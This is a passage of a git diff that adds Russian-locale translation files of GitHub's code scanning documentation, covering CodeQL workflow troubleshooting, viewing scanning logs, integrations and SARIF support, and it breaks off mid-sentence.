Gradle or Bazel). Since {% data variables.product.prodname_codeql %} observes the activity of the compiler to understand the data flows in a repository, {% data variables.product.prodname_codeql %} requires a complete build to take place in order to perform analysis. +1. Your workflow is analyzing a compiled language (C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java), but compilation does not occur between the `init` and `analyze` steps in the workflow. {% data variables.product.prodname_codeql %} requires that your build happens in between these two steps in order to observe the activity of the compiler and perform analysis. +1. Your compiled code (in C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java) was compiled successfully, but {% data variables.product.prodname_codeql %} was unable to detect the compiler invocations. The most common causes are: + + - Running your build process in a separate container to {% data variables.product.prodname_codeql %}. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)." + - Building using a distributed build system external to GitHub Actions, using a daemon process. + - {% data variables.product.prodname_codeql %} isn't aware of the specific compiler you are using. + + For .NET Framework projects, and for C# projects using either `dotnet build` or `msbuild`, you should specify `/p:UseSharedCompilation=false` in your workflow's `run` step, when you build your code. + + For example, the following configuration for C# will pass the flag during the first build step. + + ``` yaml + - run: | + dotnet build /p:UseSharedCompilation=false + ``` + + If you encounter another problem with your specific compiler or configuration, contact {% data variables.contact.contact_support %}. + +For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." + +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} + +## Lines of code scanned are lower than expected + +For compiled languages like C/C++, C#, Go, and Java, {% data variables.product.prodname_codeql %} only scans files that are built during the analysis. Therefore the number of lines of code scanned will be lower than expected if some of the source code isn't compiled correctly. This can happen for several reasons: + +1. The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository. However, sometimes this approach results in an incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not be complete since the `autobuild` step will only execute one of the commands, and therefore some source files may not be compiled. +1. Some compilers do not work with {% data variables.product.prodname_codeql %} and can cause issues while analyzing the code. For example, Project Lombok uses non-public compiler APIs to modify compiler behavior. The assumptions used in these compiler modifications are not valid for {% data variables.product.prodname_codeql %}'s Java extractor, so the code cannot be analyzed. + +If your {% data variables.product.prodname_codeql %} analysis scans fewer lines of code than expected, there are several approaches you can try to make sure all the necessary source files are compiled. + +### Replace the `autobuild` step + +Replace the `autobuild` step with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan. +For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." + +### Inspect the copy of the source files in the {% data variables.product.prodname_codeql %} database + +You may be able to understand why some source files haven't been analyzed by inspecting the copy of the source code included with the {% data variables.product.prodname_codeql %} database. To obtain the database from your Actions workflow, modify the `init` step of your {% data variables.product.prodname_codeql %} workflow file and set `debug: true`. + +```yaml +- name: Initialize CodeQL + uses: {% data reusables.actions.action-codeql-action-init %} + with: + debug: true +``` + +This uploads the database as an actions artifact that you can download to your local machine. For more information, see "[Storing workflow artifacts](/actions/guides/storing-workflow-data-as-artifacts)." + +The artifact will contain an archived copy of the source files scanned by {% data variables.product.prodname_codeql %} called _src.zip_. If you compare the source code files in the repository and the files in _src.zip_, you can see which types of file are missing. Once you know what types of file are not being analyzed, it is easier to understand how you may need to change the workflow for {% data variables.product.prodname_codeql %} analysis. + +## Alerts found in generated code + +{% data reusables.code-scanning.alerts-found-in-generated-code %} + +## Extraction errors in the database + +The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file. +The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis. + +However, if you see extractor errors in the overwhelming majority of files that were compiled during database creation, you should look into the errors in more detail to try to understand why some source files weren't extracted properly. + +{% else %} + +## Portions of my repository were not analyzed using `autobuild` + +The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository, however, sometimes this approach results in incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not complete since the `autobuild` step will only execute one of the commands. The solution is to replace the `autobuild` step with build steps which build all of the source code which you wish to analyze. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." +{% endif %} + +## The build takes too long + +If your build with {% data variables.product.prodname_codeql %} analysis takes too long to run, there are several approaches you can try to reduce the build time. + +### Increase the memory or cores + +If you use self-hosted runners to run {% data variables.product.prodname_codeql %} analysis, you can increase the memory or the number of cores on those runners. + +### Use matrix builds to parallelize the analysis + +The default {% data variables.code-scanning.codeql_workflow %} uses a matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above. + +### Reduce the amount of code being analyzed in a single workflow + +Analysis time is typically proportional to the amount of code being analyzed. You can reduce the analysis time by reducing the amount of code being analyzed at once, for example, by excluding test code, or breaking analysis into multiple workflows that analyze only a subset of your code at a time. + +{% data reusables.code-scanning.alerts-found-in-generated-code %} + +If you split your analysis into multiple workflows as described above, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build. + +### Run only during a `schedule` event + +If your analysis is still too slow to be run during `push` or `pull_request` events, then you may want to only trigger analysis on the `schedule` event. For more information, see "[Events](/actions/learn-github-actions/introduction-to-github-actions#events)." + +### Check which query suites the workflow runs + +By default, there are three main query suites available for each language. If you have optimized the CodeQL database build and the process is still too long, you could reduce the number of queries you run. The default query suite is run automatically; it contains the fastest security queries with the lowest rates of false positive results. + +You may be running extra queries or query suites in addition to the default queries. Check whether the workflow defines an additional query suite or additional queries to run using the `queries` element. You can experiment with disabling the additional query suite or queries. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs)." + +{% ifversion codeql-ml-queries %} +{% note %} + +**Note:** If you run the `security-extended` or `security-and-quality` query suite for JavaScript, then some queries use experimental technology. For more information, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-experimental-alerts)." +{% endnote %} +{% endif %} + +{% ifversion fpt or ghec %} + +## Results differ between analysis platforms + +If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.code-scanning.codeql_workflow %} on Linux, macOS, or Windows. + +On GitHub-hosted runners that use Linux, the {% data variables.code-scanning.codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)." + +{% endif %} + +## Error: "Server error" + +If the run of a workflow for {% data variables.product.prodname_code_scanning %} fails due to a server error, try running the workflow again. If the problem persists, contact {% data variables.contact.contact_support %}. + +## Error: "Out of disk" or "Out of memory" + +On very large projects, {% data variables.product.prodname_codeql %} may run out of disk or memory on the runner. +{% ifversion fpt or ghec %}If you encounter this issue on a hosted {% data variables.product.prodname_actions %} runner, contact {% data variables.contact.contact_support %} so that we can investigate the problem. +{% else %}If you encounter this issue, try increasing the memory on the runner.{% endif %} + +{% ifversion fpt or ghec %} + +## Error: 403 "Resource not accessible by integration" when using {% data variables.product.prodname_dependabot %} + +{% data variables.product.prodname_dependabot %} is considered untrusted when it triggers a workflow run, and the workflow will run with read-only scopes. Uploading {% data variables.product.prodname_code_scanning %} results for a branch usually requires the `security_events: write` scope. However, {% data variables.product.prodname_code_scanning %} always allows the uploading of results when the `pull_request` event triggers the action run. This is why, for {% data variables.product.prodname_dependabot %} branches, we recommend you use the `pull_request` event instead of the `push` event. + +A simple approach is to run on pushes to the default branch and any other important long-running branches, as well as pull requests opened against this set of branches: + +```yaml +on: + push: + branches: + - main + pull_request: + branches: + - main +``` + +An alternative approach is to run on all pushes except for {% data variables.product.prodname_dependabot %} branches: + +```yaml +on: + push: + branches-ignore: + - 'dependabot/**' + pull_request: +``` + +### Analysis still failing on the default branch + +If the {% data variables.code-scanning.codeql_workflow %} still fails on a commit made on the default branch, you need to check: + +- whether {% data variables.product.prodname_dependabot %} authored the commit +- whether the pull request that includes the commit has been merged using `@dependabot squash and merge` + +This type of merge commit is authored by {% data variables.product.prodname_dependabot %} and therefore, any workflows running on the commit will have read-only permissions. If you enabled {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} security updates or version updates on your repository, we recommend you avoid using the {% data variables.product.prodname_dependabot %} `@dependabot squash and merge` command. Instead, you can enable auto-merge for your repository. This means that pull requests will be automatically merged when all required reviews are met and status checks have passed. For more information about enabling auto-merge, see "[Automatically merging a pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge)." +{% endif %} + +## Error: "is not a .ql file, .qls file, a directory, or a query pack specification" + +You will see this error if CodeQL is unable to find the named query, query suite, or query pack at the location requested in the workflow. There are two common reasons for this error. + +- There is a typo in the workflow. +- A resource the workflow refers to by path was renamed, deleted, or moved to a new location. + +After verifying the location of the resource, you can update the workflow to specify the correct location. + +## Warning: "git checkout HEAD^2 is no longer necessary" + +If you're using an old {% data variables.product.prodname_codeql %} workflow you may get the following warning in the output from the "Initialize {% data variables.product.prodname_codeql %}" action: + +``` +Warning: 1 issue was detected with this workflow: git checkout HEAD^2 is no longer +necessary. Please remove this step as Code Scanning recommends analyzing the merge +commit for best results. +``` + +Fix this by removing the following lines from the {% data variables.product.prodname_codeql %} workflow. These lines were included in the `steps` section of the `Analyze` job in initial versions of the {% data variables.product.prodname_codeql %} workflow. + +```yaml + with: + # We must fetch at least the immediate parents so that if this is + # a pull request then we can checkout the head. + fetch-depth: 2 + + # If this run was triggered by a pull request event, then checkout + # the head of the pull request instead of the merge commit. + - run: git checkout HEAD^2 + if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %} +``` + +The revised `steps` section of the workflow will look like this: + +```yaml + steps: + - name: Checkout repository + uses: {% data reusables.actions.action-checkout %} + + # Initializes the {% data variables.product.prodname_codeql %} tools for scanning. + - name: Initialize {% data variables.product.prodname_codeql %} + uses: {% data reusables.actions.action-codeql-action-init %} + + ... +``` + +For more information about editing the {% data variables.product.prodname_codeql %} workflow file, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md new file mode 100644 index 000000000000..2066a0a5cca6 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md @@ -0,0 +1,82 @@ +--- +title: Viewing code scanning logs +intro: 'You can view the output generated during {% data variables.product.prodname_code_scanning %} analysis in {% data variables.location.product_location %}.' +product: '{% data reusables.gated-features.code-scanning %}' +permissions: 'If you have write permissions to a repository, you can view the {% data variables.product.prodname_code_scanning %} logs for that repository.' +miniTocMaxHeadingLevel: 4 +redirect_from: + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Security +shortTitle: View code scanning logs +--- + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} + +## About your {% data variables.product.prodname_code_scanning %} setup + +You can use a variety of tools to set up {% data variables.product.prodname_code_scanning %} in your repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)." + +The log and diagnostic information available to you depends on the method you use for {% data variables.product.prodname_code_scanning %} in your repository. You can check the type of {% data variables.product.prodname_code_scanning %} you're using in the **Security** tab of your repository, by using the **Tool** drop-down menu in the alert list. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." + +## About analysis and diagnostic information + +You can see analysis and diagnostic information for {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_codeql %} analysis on {% data variables.product.prodname_dotcom %}. + +**Analysis** information is shown for the most recent analysis in a header at the top of the list of alerts. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." + +**Diagnostic** information is displayed in the Action workflow logs and consists of summary metrics and extractor diagnostics. For information about accessing {% data variables.product.prodname_code_scanning %} logs on {% data variables.product.prodname_dotcom %}, see "[Viewing the logging output from {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning)" below. + +If you're using the {% data variables.product.prodname_codeql_cli %} outside {% data variables.product.prodname_dotcom %}, you'll see diagnostic information in the output generated during database analysis. This information is also included in the SARIF results file you upload to {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_code_scanning %} results. + +For information about the {% data variables.product.prodname_codeql_cli %}, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#viewing-log-and-diagnostic-information)." + +### About summary metrics + +{% data reusables.code-scanning.summary-metrics %} + +### About {% data variables.product.prodname_codeql %} source code extraction diagnostics + +{% data reusables.code-scanning.extractor-diagnostics %} + +{% ifversion codeql-action-debug-logging %} + +You can see more detailed information about {% data variables.product.prodname_codeql %} extractor errors and warnings that occurred during database creation by enabling debug logging. For more information, see "[Troubleshooting the CodeQL workflow](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow#creating-codeql-debugging-artifacts-by-re-running-jobs-with-debug-logging-enabled)." + +{% endif %} + +## Viewing the logging output from {% data variables.product.prodname_code_scanning %} + +This section applies to {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_actions %} ({% data variables.product.prodname_codeql %} or third-party). + +After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run. + +{% data reusables.repositories.actions-tab %} + + You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message. + + ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png) + +1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow. + +2. Click the job name on the left. For example, **Analyze (LANGUAGE)**. + + ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png) + +1. Review the logging output from the actions in this workflow as they run. + +1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." + +{% note %} + +**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page. + +![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png) + +{% endnote %} diff --git a/translations/ru-RU/content/code-security/code-scanning/index.md b/translations/ru-RU/content/code-security/code-scanning/index.md new file mode 100644 index 000000000000..4d38514a5924 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/index.md @@ -0,0 +1,30 @@ +--- +title: Поиск уязвимостей системы безопасности и ошибок в коде с помощью сканирования кода +shortTitle: Code scanning +intro: 'Обеспечьте безопасность кода с помощью {% data variables.product.prodname_code_scanning %}, чтобы выявить и устранить потенциальные уязвимости системы безопасности и другие ошибки в коде.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/managing-security-vulnerabilities/finding-security-vulnerabilities-in-your-projects-code + - /github/finding-security-vulnerabilities-and-errors-in-your-code + - /code-security/secure-coding +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security + - Code scanning + - CodeQL +children: + - /automatically-scanning-your-code-for-vulnerabilities-and-errors + - /integrating-with-code-scanning + - /using-codeql-code-scanning-with-your-existing-ci-system +ms.openlocfilehash: 5957996adfd4caa94fdecd9a4e13c066e7270bc0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116832' +--- + diff --git a/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md b/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md new file mode 100644 index 000000000000..91b0d93bb8cb --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md @@ -0,0 +1,43 @@ +--- +title: About integration with code scanning +shortTitle: About integration +intro: 'You can perform {% data variables.product.prodname_code_scanning %} externally and then display the results in {% data variables.product.prodname_dotcom %}, or set up webhooks that listen to {% data variables.product.prodname_code_scanning %} activity in your repository.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-integration-with-code-scanning + - /code-security/secure-coding/about-integration-with-code-scanning + - /code-security/secure-coding/integrating-with-code-scanning/about-integration-with-code-scanning +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Advanced Security + - Code scanning + - Webhooks + - Integration +--- + + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning %} + +As an alternative to running {% data variables.product.prodname_code_scanning %} within {% data variables.product.prodname_dotcom %}, you can perform analysis elsewhere and then upload the results. Alerts for {% data variables.product.prodname_code_scanning %} that you run externally are displayed in the same way as those for {% data variables.product.prodname_code_scanning %} that you run within {% data variables.product.prodname_dotcom %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." + +If you use a third-party static analysis tool that can produce results as Static Analysis Results Interchange Format (SARIF) 2.1.0 data, you can upload this to {% data variables.product.prodname_dotcom %}. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)." + +{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} +{% data reusables.code-scanning.about-analysis-origins-link %} +{% endif %} + +## Integrations with webhooks + +You can use {% data variables.product.prodname_code_scanning %} webhooks to build or set up integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) or [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), that subscribe to {% data variables.product.prodname_code_scanning %} events in your repository. For example, you could build an integration that creates an issue on {% data variables.product.product_name %} or sends you a Slack notification when a new {% data variables.product.prodname_code_scanning %} alert is added in your repository. For more information, see "[Creating webhooks](/developers/webhooks-and-events/creating-webhooks)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)." + +## Further reading + +* "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)" +* "[Using {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} with your existing CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system)" +* "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)" diff --git a/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/index.md b/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/index.md new file mode 100644 index 000000000000..42683e55589b --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/index.md @@ -0,0 +1,30 @@ +--- +title: Интеграция со сканированием кода +shortTitle: Integrate with code scanning +intro: 'Вы можете интегрировать сторонние средства анализа кода с {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_code_scanning %} путем отправки данных в виде SARIF-файлов.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-results-from-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/integrating-with-code-scanning + - /code-security/secure-coding/integrating-with-code-scanning +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security + - Code scanning + - Integration +children: + - /about-integration-with-code-scanning + - /uploading-a-sarif-file-to-github + - /sarif-support-for-code-scanning +ms.openlocfilehash: 8c1a80ed1cc695b82e9a1902db1a2f1e1389ae3a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116824' +--- + diff --git a/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md b/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md new file mode 100644 index 000000000000..06c3bef7478c --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md @@ -0,0 +1,559 @@ +--- +title: Поддержка SARIF для проверки кода +shortTitle: SARIF support +intro: 'Чтобы отобразить результаты стороннего средства статического анализа в вашем репозитории в {% data variables.product.prodname_dotcom %}, необходимо хранить результаты в файле SARIF, поддерживающем конкретное подмножество схемы JSON SARIF 2.1.0 для {% data variables.product.prodname_code_scanning %}. Если вы используете подсистему статического анализа {% data variables.product.prodname_codeql %}, результаты будут автоматически отображаться в репозитории на сайте {% data variables.product.prodname_dotcom %}.' +product: '{% data reusables.gated-features.code-scanning %}' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-sarif-support-for-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/sarif-support-for-code-scanning + - /code-security/secure-coding/sarif-support-for-code-scanning + - /code-security/secure-coding/integrating-with-code-scanning/sarif-support-for-code-scanning +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: reference +topics: + - Advanced Security + - Code scanning + - Integration + - SARIF +ms.openlocfilehash: 98d0e4620d240c3e1863aaee6f57a5834c86018b +ms.sourcegitcommit: aa488e9e641139f9056885b1479c8801e9906131 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/11/2022 +ms.locfileid: '148162794' +--- +{% data reusables.code-scanning.beta %} + +## Сведения о поддержке SARIF + +SARIF (Static Analysis Results Interchange Format) — это [стандарт OASIS](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html), определяющий формат выходного файла. Стандарт SARIF упрощает совместное использование результатов средств статического анализа. {% data variables.product.prodname_code_scanning_capc %} поддерживает подмножество схемы JSON для SARIF 2.1.0. + +Чтобы передать файл SARIF из сторонней подсистемы статического анализа кода, необходимо убедиться, что отправленные файлы используют SARIF версии 2.1.0. {% data variables.product.prodname_dotcom %} анализирует файл SARIF и отображает оповещения, используя результаты из репозитория в рамках работы с {% data variables.product.prodname_code_scanning %}. Дополнительные сведения см. в статье [Передача файла SARIF в {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github). Дополнительные сведения о схеме JSON для SARIF 2.1.0 см. в документации по [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json). + +Если вы используете {% data variables.product.prodname_actions %} с {% data variables.code-scanning.codeql_workflow %}{% ifversion codeql-runner-supported %}, используя {% data variables.code-scanning.codeql_runner %},{% endif %} или {% data variables.product.prodname_codeql_cli %}, результаты {% data variables.product.prodname_code_scanning %} будут автоматически использовать поддерживаемую часть SARIF 2.1.0. Дополнительные сведения см. в [разделах Настройка {% data variables.product.prodname_code_scanning %} для репозитория](/code-security/secure-coding/setting-up-code-scanning-for-a-repository){% ifversion codeql-runner-supported %}, [Выполнение {% data variables.code-scanning.codeql_runner %} в системе CI](/code-security/secure-coding/running-codeql-runner-in-your-ci-system),{% endif %} или [Установка CodeQL CLI в системе CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system). + +Можно передать несколько файлов SARIF для одной и той же фиксации и отобразить данные из каждого файла в виде результатов {% data variables.product.prodname_code_scanning %}. При передаче нескольких файлов SARIF для фиксации необходимо указать категорию для каждого анализа. Способ указания категории зависит от метода анализа: +- Используя {% data variables.product.prodname_codeql_cli %} напрямую, при создании файлов SARIF передайте аргумент `--sarif-category` для команды `codeql database analyze`. Дополнительные сведения см. в разделе [Настройка CodeQL CLI в системе CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#about-generating-code-scanning-results-with-codeql-cli). +- Используя {% data variables.product.prodname_actions %} с `codeql-action/analyze`, категория задается автоматически из имени рабочего процесса и любых переменных матрицы (обычно это `language`). Ее можно переопределить, указав входные данные `category` для действия, что полезно при анализе разных разделов монорепозитория в одном рабочем процессе. +- Используя {% data variables.product.prodname_actions %} для передачи результатов из других средств статического анализа, вам необходимо указать входные данные `category`, если вы передаете несколько файлов результатов для одного и того же средства в одном рабочем процессе. Дополнительные сведения см. в разделе [Передача анализа {% data variables.product.prodname_code_scanning %} с помощью {% data variables.product.prodname_actions %}](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions). +- Если вы не используете ни один из этих подходов, то вам необходимо указать уникальный `runAutomationDetails.id` в каждом файле SARIF для передачи. Дополнительные сведения об этом свойстве см. далее в разделе [Объект `runAutomationDetails`](#runautomationdetails-object). + +При передаче второго файла SARIF для фиксации с той же категорией и из того же средства более ранние результаты перезаписываются. Однако при попытке передать несколько файлов SARIF для одного и того же средства и категории в одном запуске рабочего процесса {% data variables.product.prodname_actions %} будет определена неправильная настройка и выполнение завершится ошибкой. + +Для вывода оповещений {% data variables.product.prodname_dotcom %} использует свойства в файле SARIF. Например, `shortDescription` и `fullDescription` отображаются в верхней части оповещения {% data variables.product.prodname_code_scanning %}. `location` позволяет {% data variables.product.prodname_dotcom %} отображать заметки в файле кода. Дополнительные сведения см. в статье [Управление оповещениями {% data variables.product.prodname_code_scanning %} для репозитория](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository). + +Если вы не знакомы с SARIF и хотите узнать больше, ознакомьтесь репозиторием [`SARIF tutorials`](https://github.com/microsoft/sarif-tutorials) корпорации Майкрософт. + +## Предоставление данных для отслеживания оповещений {% data variables.product.prodname_code_scanning %} в разных запусках + +При каждой отправке результатов новой проверки кода эти результаты обрабатываются, а в репозиторий добавляются предупреждения. Чтобы предотвратить дублирование оповещений для одной и той же проблемы, {% data variables.product.prodname_code_scanning %} использует отпечатки, позволяющие сопоставлять результаты различных запусков. Поэтому оповещения появляются только один раз в последнем запуске выбранной ветви. Это позволяет сопоставлять оповещения с правильной строкой кода при редактировании файлов. Для `ruleID` результата должен быть одинаковым в разных анализах. + +### Отчеты о согласованных пути к файлам + +Путь к файлу должен быть согласованным во всех запусках, чтобы обеспечить вычисление стабильного отпечатка пальца. Если пути к файлам отличаются для одного и того же результата, при каждом анализе создается новое оповещение, а старое будет закрыто. Это приведет к созданию нескольких оповещений для одного и того же результата. + +### Включение данных для создания отпечатков пальцев + +{% data variables.product.prodname_dotcom %} использует свойство `partialFingerprints` в стандарте OASIS, чтобы определить логическую идентичность двух результатов. Дополнительные сведения см. в записи [свойства partialFingerprints](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611) в документации по OASIS. + +Файлы SARIF, созданные {% data variables.code-scanning.codeql_workflow %}, {% ifversion codeql-runner-supported %}с помощью {% data variables.code-scanning.codeql_runner %}, {% endif %} или с помощью {% data variables.product.prodname_codeql_cli %}, включают данные отпечатков пальцев. Если вы отправили файл SARIF с помощью действия `upload-sarif`, но эти данные отсутствуют, {% data variables.product.prodname_dotcom %} пытается заполнить поле `partialFingerprints` из исходных файлов. Дополнительные сведения об отправке результатов см. в статье [Передача файла SARIF в {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions). + +Если вы отправляете файл SARIF без данных отпечатков с помощью конечной точки API `/code-scanning/sarifs`, оповещения {% data variables.product.prodname_code_scanning 